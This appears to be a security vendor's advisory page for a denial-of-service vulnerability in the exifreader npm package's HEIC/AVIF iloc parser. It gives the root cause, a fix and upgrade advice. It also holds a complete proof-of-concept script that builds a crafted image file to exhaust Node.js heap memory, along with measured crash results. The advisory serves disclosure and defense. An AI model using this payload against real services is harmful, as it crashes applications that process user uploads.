CVE-2026-85715

CVE-2026-85715 is a high-severity security vulnerability in exifreader (npm), affecting versions <= 4.41.0. It is fixed in 4.41.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion

ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

  • npm package: exifreader
  • Version: 4.41.0
  • Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

Field Controls
offsetSize Bytes per extent offset
lengthSize Bytes per extent length
baseOffsetSize Bytes per item base offset
indexSize Bytes per extent index

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

for (let j = 0; j < item.extentCount; j++) {
    const extent = {};
    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0
    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0
    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0
    item.extents.push(extent);                      // allocates unconditionally
}

When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:

const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) {
    return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
    return [(n >>> 8) & 255, n & 255];
}
function str(s) {
    return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
    return [...u32be(8 + content.length), ...str(type), ...content];
}

const ITEMS = 10000;
const EXTENTS = 65535;

const ftyp = box('ftyp', [
    ...str('heic'),
    ...u32be(0),
    ...str('mif1'),
    0, 0, 0, 0,
]);

const ilocPayload = [
    0, 0, 0, 0,
    0, 0,
    ...u16be(ITEMS),
];

for (let i = 0; i < ITEMS; i++) {
    ilocPayload.push(...u16be(i + 1));
    ilocPayload.push(...u16be(0));
    ilocPayload.push(...u16be(EXTENTS));
}

const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);

console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);

const start = Date.now();
const timeout = setTimeout(() => {
    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
    process.exit(1);
}, 30000);

try {
    ExifReader.load(data.buffer);
    clearTimeout(timeout);
    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
    clearTimeout(timeout);
    console.log(`Error: ${e.message}`);
}

Scaled test results

Run the above with different ITEMS values:

Items File size Extent objects Parse time Heap growth
1 58 bytes 65,535 0.03s +4 MB
5 82 bytes 327,675 0.17s +16 MB
100 652 bytes 6,553,500 1.74s +401 MB
256 1,588 bytes 16,776,960 ~8s OOM crash
10000 60,052 bytes 655,350,000 - OOM crash (4 GB+)

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:

  1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or
  2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Impact

CVE-2026-85715 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.41.1); upgrading removes the vulnerable code path.

Affected versions

exifreader (<= 4.41.0)

Security releases

exifreader → 4.41.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

const MAX_EXTENTS_PER_ITEM = 10000;

for (let j = 0; j < item.extentCount; j++) {
    if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
        break;
    }
    // ... existing code ...
}

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
    // Fields are absent per spec; nothing meaningful to read
    // Still advance offset if extentCount > 0 to maintain correctness
    continue;
}

Frequently Asked Questions

  1. What is CVE-2026-85715? CVE-2026-85715 is a high-severity security vulnerability in exifreader (npm), affecting versions <= 4.41.0. It is fixed in 4.41.1.
  2. How severe is CVE-2026-85715? CVE-2026-85715 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of exifreader are affected by CVE-2026-85715? exifreader (npm) versions <= 4.41.0 is affected.
  4. Is there a fix for CVE-2026-85715? Yes. CVE-2026-85715 is fixed in 4.41.1. Upgrade to this version or later.
  5. Is CVE-2026-85715 exploitable, and should I be worried? Whether CVE-2026-85715 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-85715 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-85715? Upgrade exifreader to 4.41.1 or later.

Stop the waste.
Protect your environment with Kodem.